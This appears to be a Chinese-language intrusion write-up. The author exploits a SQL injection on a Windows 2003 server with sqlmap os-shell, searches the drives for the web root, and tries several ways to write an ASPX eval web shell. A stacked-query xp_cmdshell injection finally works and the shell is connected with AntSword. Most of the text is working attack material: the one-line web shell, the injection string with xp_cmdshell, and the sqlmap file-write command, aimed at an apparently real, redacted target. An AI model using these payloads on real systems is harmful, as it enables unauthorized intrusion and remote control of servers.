先说一下我的思路,得到一个sql注入点,sqlmap 进行os-shell ,然后想上传webshell,首先进行cs 上线,发现无法上线cs,原因是目标系统windwos 2003 没有powershell,换一个思路,先找到web路径,然后上传webshell。找到web路径之后,发现路径带中文,os-shell写入webshell 的时候就会提示没有这个路径,然后进行一个手注发现上传成功
- 发现注入点,使用sqlmap进行os-shell
- 尝试上线cs,为了更好的后续操作(失败)
执行powershell 提示不是内部命令,(原因是windows 2003 没有安装powershell)
- 换一个思路进行,先找到web 目录,然后进行上传webshell
我们不知道web 目录在哪个盘,首先先看一下系统有哪些盘
执行命令fsutil fsinfo drives
然后继续查找,web路径
g: & cd \ & dir /S *.aspx
dir /S 1234.aspx 查找G盘有1234.aspx文件的地方
原谅我码的太死,毕竟快过年了谁也不想去吃免费的饭
得到路径为G:\xxx安装包\xxxnese\xxxnese\
- 找到路径之后上传webshell,然后就开始了我的无脑上传webshell
首先使用第一种方法:
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > G:\xxxx安装包\xxxnese\xxxxnese\test.aspx
发现上传失败
第二种方法:
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > G:\xxxx安装包\xxxnese\xxxxnese\test.aspx'
上传失败
第三种方法:
使用 --file-write
sqlmap -u "xxxx" -file-write J:\webshell\shell.aspx --file-dest G:\xxx安装包\xxxxnese\xxxxnese\test.aspx -v 2 --batch
依然失败
(当时找不到原因,后面发现是因为中文路径的原因)
第四种方法:
然后就是使用手注
?id=1';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> >G:\xxxx安装包\xxxxnese\xxxxnese\test.aspx'--
页面正常返回,写入成功
蚁剑连接